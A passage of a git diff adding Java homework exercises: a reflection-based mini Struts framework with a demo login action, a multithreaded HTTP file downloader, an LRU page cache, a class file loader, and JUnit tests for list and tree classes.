diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java b/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
new file mode 100644
index 0000000000..0799eae71a
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package code02.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+        if("test".equals(name) && "1234".equals(password)){
+            this.message = "login successful";
+            return "success";
+        }
+        this.message = "login failed,please check your user/pwd";
+        return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java b/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
new file mode 100644
index 0000000000..2a499f104b
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
@@ -0,0 +1,119 @@
+package code02.litestruts;
+
+import org.slf4j.LoggerFactory;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by yaoyuan on 2017/3/21.
+ */
+public class ReflectionUtil {
+    private static final org.slf4j.Logger logger = LoggerFactory.getLogger(ReflectionUtil.class);
+
+    private static final Map<String, Class<?>> clazzMap = new HashMap<String, Class<?>>();
+
+    //加载xml文件中的类
+    public void initiateClazz(Configuration cfg){
+        Map<String, ActionConfig> actionMap = cfg.getActionMap();
+
+        for (Map.Entry<String, ActionConfig> entry : actionMap.entrySet()) {
+            String actionName = entry.getKey(); //login
+            ActionConfig actionConfig =entry.getValue();
+            String className = actionConfig.getClassName(); //code02.litestruts.LoginAction
+            Class<?> cls;
+            try {
+                cls = Class.forName(className, true, Thread.currentThread().getContextClassLoader());
+                clazzMap.put(actionName,cls);
+            } catch (Exception e) {
+                logger.warn("加载类 " + className + "出错！");
+            }
+        }
+    }
+
+
+    //返回实例对象
+    public Object getInstance(String actionName){
+        Object instance = null;
+        for (Map.Entry<String, Class<?>> entry : clazzMap.entrySet()) {
+            String action = entry.getKey(); //login
+            Class<?> cls = entry.getValue(); //code02.litestruts.LoginAction.class
+            if(actionName.equals(action)){
+                try {
+                    instance = cls.newInstance();
+                } catch (Exception e) {
+                    logger.error("生成实例出错！", e);
+                    throw new RuntimeException(e);
+                }
+            }
+        }
+        return instance;
+    }
+
+
+    //参数赋值
+    public void setParameters(Object o, Map<String, String> params) {
+
+        List<Method> methods = getSetterMethods(o.getClass());
+        for (String name : params.keySet()) {
+            String methodName = "set" + name;
+            for (Method m : methods) {
+                if (m.getName().equalsIgnoreCase(methodName)) {
+                    try {
+                        m.invoke(o, params.get(name));
+                    } catch (InvocationTargetException e) {
+                        e.printStackTrace();
+                    } catch (IllegalAccessException e) {
+                        e.printStackTrace();
+                    }
+                }
+            }
+        }
+    }
+
+    //运行无参方法
+    public Object runMethodWithoutParams(Object o , String methodName){
+        Class<?> clz = o.getClass();
+        Object result = null;
+        try {
+            Method method = clz.getDeclaredMethod(methodName);
+            try {
+                result = method.invoke(o);
+            } catch (IllegalAccessException e) {
+                e.printStackTrace();
+            } catch (InvocationTargetException e) {
+                e.printStackTrace();
+            }
+        } catch (NoSuchMethodException e) {
+            e.printStackTrace();
+        }
+        return result;
+    }
+
+    //返回以set开头的方法
+    public List<Method> getSetterMethods(Object o){
+        return getMethods(o.getClass(),"set");
+    }
+
+    //返回以get开头的方法
+    public List<Method> getGetterMethods(Object o){
+        return getMethods(o.getClass(),"get");
+    }
+
+    private List<Method> getMethods(Class<?> clz, String startWithName){
+        List<Method> methodsList = new ArrayList<Method>();
+        Method[] methods = clz.getDeclaredMethods();
+        for (int i = 0; i < methods.length; i++) {
+            String methodName = methods[i].getName();
+            if(methodName.startsWith(startWithName)){
+                methodsList.add(methods[i]);
+            }
+        }
+        return methodsList;
+    }
+
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java b/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
new file mode 100644
index 0000000000..b954f25bd5
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
@@ -0,0 +1,76 @@
+package code02.litestruts;
+
+import org.slf4j.LoggerFactory;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+
+public class Struts {
+    private static final org.slf4j.Logger logger = LoggerFactory.getLogger(Struts.class);
+    /*
+      0. 读取配置文件struts.xml
+
+       1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+      据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是
+      ("name"="test" ,  "password"="1234") ,
+      那就应该调用 setName和setPassword方法
+
+
+
+
+  */
+    public static View runAction(String actionName, Map<String, String> parameters)  {
+        View view = new View();
+        Configuration cfg = new Configuration("src/main/resources/struts.xml");
+        ReflectionUtil reflectionUtil = new ReflectionUtil();
+        reflectionUtil.initiateClazz(cfg);
+       /* 1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）*/
+        Object o = reflectionUtil.getInstance(actionName);
+        /*2. 根据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是
+            ("name"="test" ,  "password"="1234") ,那就应该调用 setName和setPassword方法*/
+        reflectionUtil.setParameters(o,parameters);
+        /*3. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"*/
+        String result = (String) reflectionUtil.runMethodWithoutParams(o,"execute");
+       /* 4. 通过反射找到对象的所有getter方法（例如 getMessage）,通过反射来调用，
+       把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,放到View对象的parameters*/
+        Map params = new HashMap<String, String>();
+        List<Method> methods = reflectionUtil.getGetterMethods(o);
+        for(Method method : methods){
+            String key = method.getName().substring(3);
+            String value = null;
+            try {
+                value = (String) method.invoke(o);
+            } catch (IllegalAccessException e) {
+                e.printStackTrace();
+            } catch (InvocationTargetException e) {
+                e.printStackTrace();
+            }
+            params.put(key,value);
+        }
+        /*5. 根据struts.xml中的 <result> 配置,以及execute的返回值，确定哪一个jsp，放到View对象的jsp字段中。*/
+        String jsp = cfg.getView(actionName,result);
+        view.setParameters(params);
+        view.setJsp(jsp);
+
+        return view;
+    }
+
+    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
+
+        String actionName = "login";
+        HashMap<String,String> params = new HashMap<String, String>();
+        params.put("name","test");
+        params.put("password","12345");
+
+        View view = Struts.runAction(actionName,params);
+        System.out.println(view.getJsp());
+        System.out.println(view.getParameters());
+
+
+    }
+
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/View.java b/group23/769232552/coding/src/main/java/code02/litestruts/View.java
new file mode 100644
index 0000000000..c7e630587c
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/View.java
@@ -0,0 +1,23 @@
+package code02.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/769232552/coding/src/main/java/code03/DownloadThread.java b/group23/769232552/coding/src/main/java/code03/DownloadThread.java
new file mode 100644
index 0000000000..7bf8a8e765
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/DownloadThread.java
@@ -0,0 +1,47 @@
+package code03;
+
+import code03.api.Connection;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.*;
+
+/**
+ * 定义线程类
+ */
+
+
+public class DownloadThread extends Thread{
+
+	private static final Logger logger = LoggerFactory.getLogger(DownloadThread.class);
+
+	private Connection conn;
+	private int startPos;
+	private int endPos;
+	private static final String fileName = "D://test.png";
+
+
+	public DownloadThread(Connection conn, int startPos, int endPos){
+		this.conn = conn;
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+
+	@Override
+	public void run(){
+		logger.debug("thread {} begin to download from start {} to end {} ",Thread.currentThread().getName(),startPos,endPos);
+
+		try {
+			byte[] data = conn.read(startPos,endPos);
+			RandomAccessFile rfile = new RandomAccessFile(fileName,"rw");
+			rfile.seek(startPos);
+			rfile.write(data,0,data.length);
+			rfile.close();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		logger.debug("thread {} end to download from start {} to end {} ",Thread.currentThread().getName(),startPos,endPos);
+
+
+	}
+}
diff --git a/group23/769232552/coding/src/main/java/code03/FileDownloader.java b/group23/769232552/coding/src/main/java/code03/FileDownloader.java
new file mode 100644
index 0000000000..6814c49f9c
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/FileDownloader.java
@@ -0,0 +1,109 @@
+package code03;
+
+import code03.api.Connection;
+import code03.api.ConnectionException;
+import code03.api.ConnectionManager;
+import code03.api.DownloadListener;
+import code03.impl.ConnectionManagerImpl;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 线程启动类
+ */
+
+public class FileDownloader {
+	
+	private String url;
+	private DownloadListener listener;
+	private ConnectionManager cm;
+	private static boolean downloadFinished = false;
+
+	private final static int THREAD_NUM = 5;
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+	}
+
+	/*
+	(1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+	(2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+	     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。*/
+	public void execute(){
+		Connection conn = null;
+		try {
+			//启动线程
+			int startPos = 0, endPos = 0;
+			List<Thread> threads = new ArrayList<Thread>();
+			for (int i = 0; i < THREAD_NUM; i++) {
+				conn = cm.open(this.url); //每次都要重新获取一个connection.imputstream
+				int length = conn.getContentLength();
+				startPos = length/THREAD_NUM *  i;
+				endPos = length/THREAD_NUM * (i + 1)- 1;
+				DownloadThread downloadThread = new DownloadThread(conn,startPos,endPos);
+				threads.add(downloadThread);
+				downloadThread.start();
+			}
+
+			//调用join方法，确保所有线程的工作已经完成
+			for (int i = 0; i < THREAD_NUM; i++) {
+				try {
+					threads.get(i).join();
+				} catch (InterruptedException e) {
+					e.printStackTrace();
+				}
+			}
+			listener.notifyFinished();
+		} catch (ConnectionException e) {
+			e.printStackTrace();
+		} finally {
+			if(conn != null){
+				conn.close();
+			}
+		}
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+
+
+	public static void main(String[] args) {
+
+		String url = "http://litten.me/assets/blogImg/litten.png";
+		FileDownloader fileDownloader = new FileDownloader(url);
+		ConnectionManager cm = new ConnectionManagerImpl();
+		fileDownloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+		});
+		fileDownloader.setConnectionManager(cm);
+		fileDownloader.execute();
+
+
+		while (!downloadFinished){
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {
+				e.printStackTrace();
+			}
+		}
+		System.out.println("download finished ! ");
+
+
+	}
+	
+}
diff --git a/group23/769232552/coding/src/main/java/code03/api/Connection.java b/group23/769232552/coding/src/main/java/code03/api/Connection.java
new file mode 100644
index 0000000000..1f2e4e1d39
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/api/Connection.java
@@ -0,0 +1,23 @@
+package code03.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java b/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
new file mode 100644
index 0000000000..77e886e987
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
@@ -0,0 +1,9 @@
+package code03.api;
+
+public class ConnectionException extends Exception {
+
+    public ConnectionException(String message,Throwable e){
+        super(message,e);
+    }
+
+}
diff --git a/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java b/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
new file mode 100644
index 0000000000..4cbd46445a
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package code03.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java b/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
new file mode 100644
index 0000000000..f5e7e146a7
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package code03.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java b/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..ce69eceb99
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
@@ -0,0 +1,106 @@
+package code03.impl;
+
+import code03.api.Connection;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URLConnection;
+
+
+public class ConnectionImpl implements Connection{
+
+	private static final Logger logger = LoggerFactory.getLogger(ConnectionImpl.class);
+
+
+	private URLConnection urlConnection;
+	private int length = -1;
+
+	public ConnectionImpl(URLConnection urlConnection){
+		this.urlConnection  = urlConnection;
+	}
+
+	/**
+	 * 读取urlConnection.getInputStream()中的数据，返回byte[]
+	 */
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		int contentLength = getContentLength();
+		if(startPos < 0 || endPos > contentLength || contentLength <= 0){
+			logger.info("index out of range !");
+			return null;
+		}
+
+		InputStream raw = null;
+		BufferedInputStream in = null;
+		int size = endPos - startPos + 1;
+		byte[] data = new byte[size];
+		try{
+			raw = urlConnection.getInputStream();
+			in = new BufferedInputStream(raw);
+			in.skip(startPos);
+
+			int offset = 0;
+			while(offset < size){
+				int bytesRead = in.read(data, offset, size - offset);
+				while (bytesRead  == -1){break;}
+				offset += bytesRead;
+			}
+		} catch (IOException e) {
+			e.printStackTrace();
+		}finally {
+			raw.close();
+			in.close();
+		}
+		return data;
+	}
+
+	@Override
+	public int getContentLength() {
+		if(length != -1){
+			return length;
+		}
+		length = urlConnection.getContentLength();
+
+		//if without content-length header
+		if(length == -1) {
+			int offset = 0;
+			InputStream raws = null;
+			BufferedInputStream ins = null;
+			try {
+				raws = urlConnection.getInputStream();
+				ins = new BufferedInputStream(raws);
+
+				int max_size = 1024 * 1024;//1M
+				byte[] data = new byte[max_size];
+
+				int bytesRead = 0;
+				while (bytesRead != -1) {
+					ins.read(data, offset, max_size - offset);
+					offset += bytesRead;
+				}
+			} catch (IOException e) {
+				e.printStackTrace();
+			} finally {
+				try {
+					raws.close();
+					ins.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+			length = offset;
+		}
+		return length;
+	}
+
+	@Override
+	public void close() {
+		if(urlConnection != null){
+			urlConnection = null;
+		}
+	}
+
+}
diff --git a/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java b/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..5078c7608c
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
@@ -0,0 +1,36 @@
+package code03.impl;
+
+import code03.api.Connection;
+import code03.api.ConnectionException;
+import code03.api.ConnectionManager;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+
+/**
+ * 获取Connection实例
+ */
+
+public class ConnectionManagerImpl implements ConnectionManager {
+	private static final Logger logger = LoggerFactory.getLogger(ConnectionManagerImpl.class);
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		Connection connection = null;
+		try {
+			URL _url = new URL(url);
+			URLConnection urlConnection = _url.openConnection();
+			connection = new ConnectionImpl(urlConnection);
+		} catch (MalformedURLException e) {
+			logger.error("url {} format error",url);
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return connection;
+	}
+
+}
diff --git a/group23/769232552/coding/src/main/java/code04/LRUPageFrame.java b/group23/769232552/coding/src/main/java/code04/LRUPageFrame.java
new file mode 100644
index 0000000000..0ffce58b83
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code04/LRUPageFrame.java
@@ -0,0 +1,162 @@
+package code04;
+
+/**
+ * 用双向链表实现LRU算法
+ */
+public class LRUPageFrame {
+	
+	private  class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+		Node() {
+		}
+	}
+
+	private int size;
+	private int capacity;
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	public LRUPageFrame(int capacity) {
+		this.capacity = capacity;
+		this.size = 0;
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 1、如果缓存中不存在，则直接加入表头
+	 * 2、如果缓存中存在，则把该对象移动到表头
+	 * @param pageNum
+	 * @return
+	 */
+	public void access(int pageNum) {
+		Node node = hasContains(pageNum);
+		if(node != null){
+			moveToHead(node);
+		}else {
+			addToHead(pageNum);
+		}
+	
+	}
+
+	/**
+	 * 对象是否存在缓存中，如存在则返回该对象在链表中的位置，否则返回null
+	 * @return
+     */
+	private Node hasContains(int key){
+		Node node = this.first;
+		while (node != null){
+			if(node.pageNum == key){
+				return node;
+			}
+			node = node.next;
+		}
+		return node;
+	}
+
+	/**
+	 * 对象加入表头，先先判断缓存是否已经满了
+	 * @return
+     */
+	private void addToHead(int key){
+		Node node = new Node();
+		node.pageNum = key;
+		if(size < capacity){
+			addFirst(node);
+		}else {
+			removeLast();
+			addFirst(node);
+		}
+
+	}
+
+
+	/**
+	 * 对象移动到表头
+	 * @return
+     */
+	private void moveToHead(Node node){
+		if(node == first){
+			return;
+		}
+		if(node == last){
+			node.next = first;
+			first.prev = node;
+			first = node;
+			last = node.prev;
+			last.next = null;
+			node.prev = null;
+			return;
+		}
+		node.prev.next = node.next;
+		node.next.prev = node.prev;
+		node.next = first;
+		node.prev = null;
+		first.prev = node;
+		first = node;
+	}
+
+	/**
+	 * 删除表尾
+	 * @return
+     */
+	private void removeLast(){
+		if(last != null){
+			Node newLast = last.prev;
+			last.prev = null;
+			last = newLast;
+			last.next = null;
+			size --;
+		}
+	}
+	/**
+	 * 添加元素到表头
+	 * @return
+     */
+	private void addFirst(Node node){
+		//0个节点
+		if(first == null){
+			first = node;
+			last = node;
+			size ++;
+			return;
+		}
+		//一个节点
+		else if(first == last){
+			first = node;
+			first.next = last;
+			last.prev = first;
+			size ++;
+			return;
+		}else {
+			node.next = first;
+			first.prev = node;
+			first = node;
+			size ++;
+		}
+	}
+	/**
+	 * 当前链表空间
+	 * @return
+     */
+	public int getSize() {
+		return size;
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+}
diff --git a/group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java b/group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..81e6973856
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java
@@ -0,0 +1,108 @@
+package mini_jvm.loader;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+
+	/**
+	 * 读取class文件的二进制代码
+	 * @param className
+	 * @return
+     */
+	public byte[] readBinaryCode(String className) {
+		String clazzPath = getClassPath(className);
+		BufferedInputStream bins = null;
+		ByteArrayOutputStream  bouts = new ByteArrayOutputStream();
+		try {
+			bins = new BufferedInputStream(new FileInputStream(new File(clazzPath)));
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			while((length = bins.read(buffer)) != -1){
+				bouts.write(buffer, 0, length);
+			}
+		} catch (FileNotFoundException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		byte[] codes = bouts.toByteArray();
+		//关闭流
+		try {
+			if(bins != null){
+				//调用外层流的close方法就关闭其装饰的内层流
+				bins.close();
+			}
+			if(bouts != null){
+				bouts.close();
+			}
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return codes;
+	}
+
+	/**
+	 * 从扫描根目录，获取指定类的绝对路径
+	 * @param className
+	 * @return
+	 */
+	private String getClassPath(String className){
+		String clazzPath = null;
+		//遍历clzPaths中所有路径
+		for (String path : this.clzPaths){
+			File file = new File(path);
+			clazzPath = getClassPath(className,file);
+			if(clazzPath!=null) break;
+		}
+		return clazzPath;
+	}
+
+	private String getClassPath(String className, File file){
+		String clazzPath = null;
+		if(file.exists()){
+			//如果是目录，则遍历所有目录下的文件
+			if(file.isDirectory()){
+				File[] fs = file.listFiles();
+				for (File f : fs){
+					clazzPath = getClassPath(className,f);
+				}
+			}else {
+				//检查是否是该类对应的class文件
+				if(isClazzFile(file.getName(),className)){
+					clazzPath = file.getAbsolutePath();
+				}
+			}
+		}
+		return clazzPath;
+	}
+
+	private boolean isClazzFile(String filename , String className){
+		String fileClazzName = null;
+		String [] names = filename.split("\\.");
+		if(names.length > 0){
+			fileClazzName = names[0];
+		}
+		return className.endsWith(fileClazzName);
+	}
+	
+	public void addClassPath(String path) {
+		clzPaths.add(path);
+	}
+
+	public String getClassPath(){
+		StringBuilder sb = new StringBuilder();
+		int i = 0;
+		for (; i < clzPaths.size() - 1; i++) {
+			sb.append(clzPaths.get(i));
+			sb.append(";");
+		}
+		sb.append(clzPaths.get(i));
+		return sb.toString();
+	}
+}
diff --git a/group23/769232552/coding/src/test/java/code01/ArrayListTest.java b/group23/769232552/coding/src/test/java/code01/ArrayListTest.java
new file mode 100644
index 0000000000..2bfd7f52e1
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code01/ArrayListTest.java
@@ -0,0 +1,67 @@
+package code01;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by yaoyuan on 2017/3/8.
+ */
+public class ArrayListTest {
+    ArrayList arrayList;
+    @Before
+    public void setUp(){
+        arrayList = new ArrayList();
+    }
+
+    @Test
+    public void testAdd() throws Exception {
+
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            arrayList.add(str);
+        }
+
+        // size()
+        Assert.assertEquals(array.length,arrayList.size());
+
+        //add(),get()
+        for (int i = 0; i < arrayList.size(); i++){
+            Assert.assertEquals(array[i],arrayList.get(i));
+        }
+    }
+
+    @Test
+    public void testAddWithIndex() throws Exception {
+        ArrayList arrayList2 = new ArrayList(3);//自动扩容
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (int i = 0; i < array.length; i++){
+            arrayList2.add(i,array[i]);
+        }
+        //add(),get()
+        for (int i = 0; i < arrayList2.size(); i++){
+            Assert.assertEquals(array[i],arrayList2.get(i));
+        }
+        arrayList2.add(3,"new");
+        Assert.assertEquals("new",arrayList2.get(3));
+
+
+    }
+
+    @Test
+    public void testRemove() throws Exception {
+
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            arrayList.add(str);
+        }
+        arrayList.remove(0);
+        arrayList.remove(0);
+
+
+        for (int i = 0; i < arrayList.size(); i++) {
+            Assert.assertEquals(array[i+2],arrayList.get(i));
+        }
+
+    }
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java b/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
new file mode 100644
index 0000000000..8c1f4e8e09
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
@@ -0,0 +1,27 @@
+package code01;
+
+import org.junit.Test;
+
+/**
+ * Created by yaoyuan on 2017/3/10.
+ */
+public class BinaryTreeTest {
+
+    @Test
+    public void testCreateBinaryTree(){
+
+        BinaryTree<Integer> binaryTree1 = new BinaryTree<Integer>();
+        BinaryTree<Integer> binaryTree2 = new BinaryTree<Integer>();
+        Integer[] array1 = new Integer[]{3,4,1,2,5};
+        Integer[] array2 = new Integer[]{3,1,4,5,2};
+        binaryTree1.createBinaryTree(array1);
+        binaryTree2.createBinaryTree(array2);
+        binaryTree1.leftOrderScan(binaryTree1.getRoot());
+        binaryTree2.leftOrderScan(binaryTree2.getRoot());
+    }
+
+    @Test
+    public void testInsert(){
+        BinaryTree<Integer> binaryTree3 = new BinaryTree<Integer>();
+    }
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/LinkedListTest.java b/group23/769232552/coding/src/test/java/code01/LinkedListTest.java
new file mode 100644
index 0000000000..5481783932
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code01/LinkedListTest.java
@@ -0,0 +1,174 @@
+package code01;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by yaoyuan on 2017/3/8.
+ */
+public class LinkedListTest {
+
+    @Test
+    public void testAdd() throws Exception {
+
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+
+        // size()
+        Assert.assertEquals(array.length,linklist.size());
+
+        //add(),get()
+        for (int i = 0; i < linklist.size(); i++){
+            Assert.assertEquals(array[i],linklist.get(i));
+        }
+
+    }
+
+    @Test
+    public void testAddWithIndex() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+
+        //add(),get()
+        for (int i = 0; i < linklist.size(); i++){
+            Assert.assertEquals(array[i],linklist.get(i));
+        }
+
+        String str = "new";
+        linklist.add(0,str);
+        Assert.assertEquals(str,linklist.get(0));
+
+        linklist.add(3,str);
+        Assert.assertEquals(str,linklist.get(3));
+
+        linklist.add(linklist.size() ,str);
+        Assert.assertEquals(str,linklist.get(linklist.size()-1));
+    }
+
+    @Test
+    public void testRemove() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+
+        //remove(),get()
+        Assert.assertEquals(linklist.remove(0),array[0]);
+        Assert.assertEquals(linklist.size(),array.length - 1);
+
+        Assert.assertEquals(linklist.remove(linklist.size() - 1),array[array.length-1]);
+        Assert.assertEquals(linklist.size(),array.length - 2);
+
+    }
+
+    @Test
+    public void testAddFirst() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        //addFirst(),get()
+        String str = "new";
+        linklist.addFirst(str);
+        Assert.assertEquals(str,linklist.get(0));
+        Assert.assertEquals(linklist.size(),array.length + 1);
+    }
+
+    @Test
+    public void testAddLast() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        //addLast(),get()
+        String str = "new";
+        linklist.addLast(str);
+        Assert.assertEquals(str,linklist.get(linklist.size()-1));
+        Assert.assertEquals(linklist.size(),array.length + 1);
+    }
+
+    @Test
+    public void testRemoveFirst() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        //removeFirst(),get()
+        Assert.assertEquals(linklist.removeFirst(),array[0]);
+        Assert.assertEquals(linklist.size(),array.length - 1);
+    }
+
+    @Test
+    public void testRemoveLast() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        //removeLast(),get()
+        Assert.assertEquals(linklist.removeLast(),array[array.length-1]);
+        Assert.assertEquals(linklist.size(),array.length - 1);
+
+    }
+
+    @Test
+    public void testReverse(){
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        linklist.reverse();
+        for(int i=0; i<array.length; i++){
+            Assert.assertEquals(array[array.length - i-1], linklist.get(i));
+        }
+    }
+
+    @Test
+    public void testremoveFirstHalf(){
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        linklist.removeFirstHalf();
+        for(int i=0; i<array.length/2; i++){
+            Assert.assertEquals(array[i+array.length/2], linklist.get(i));
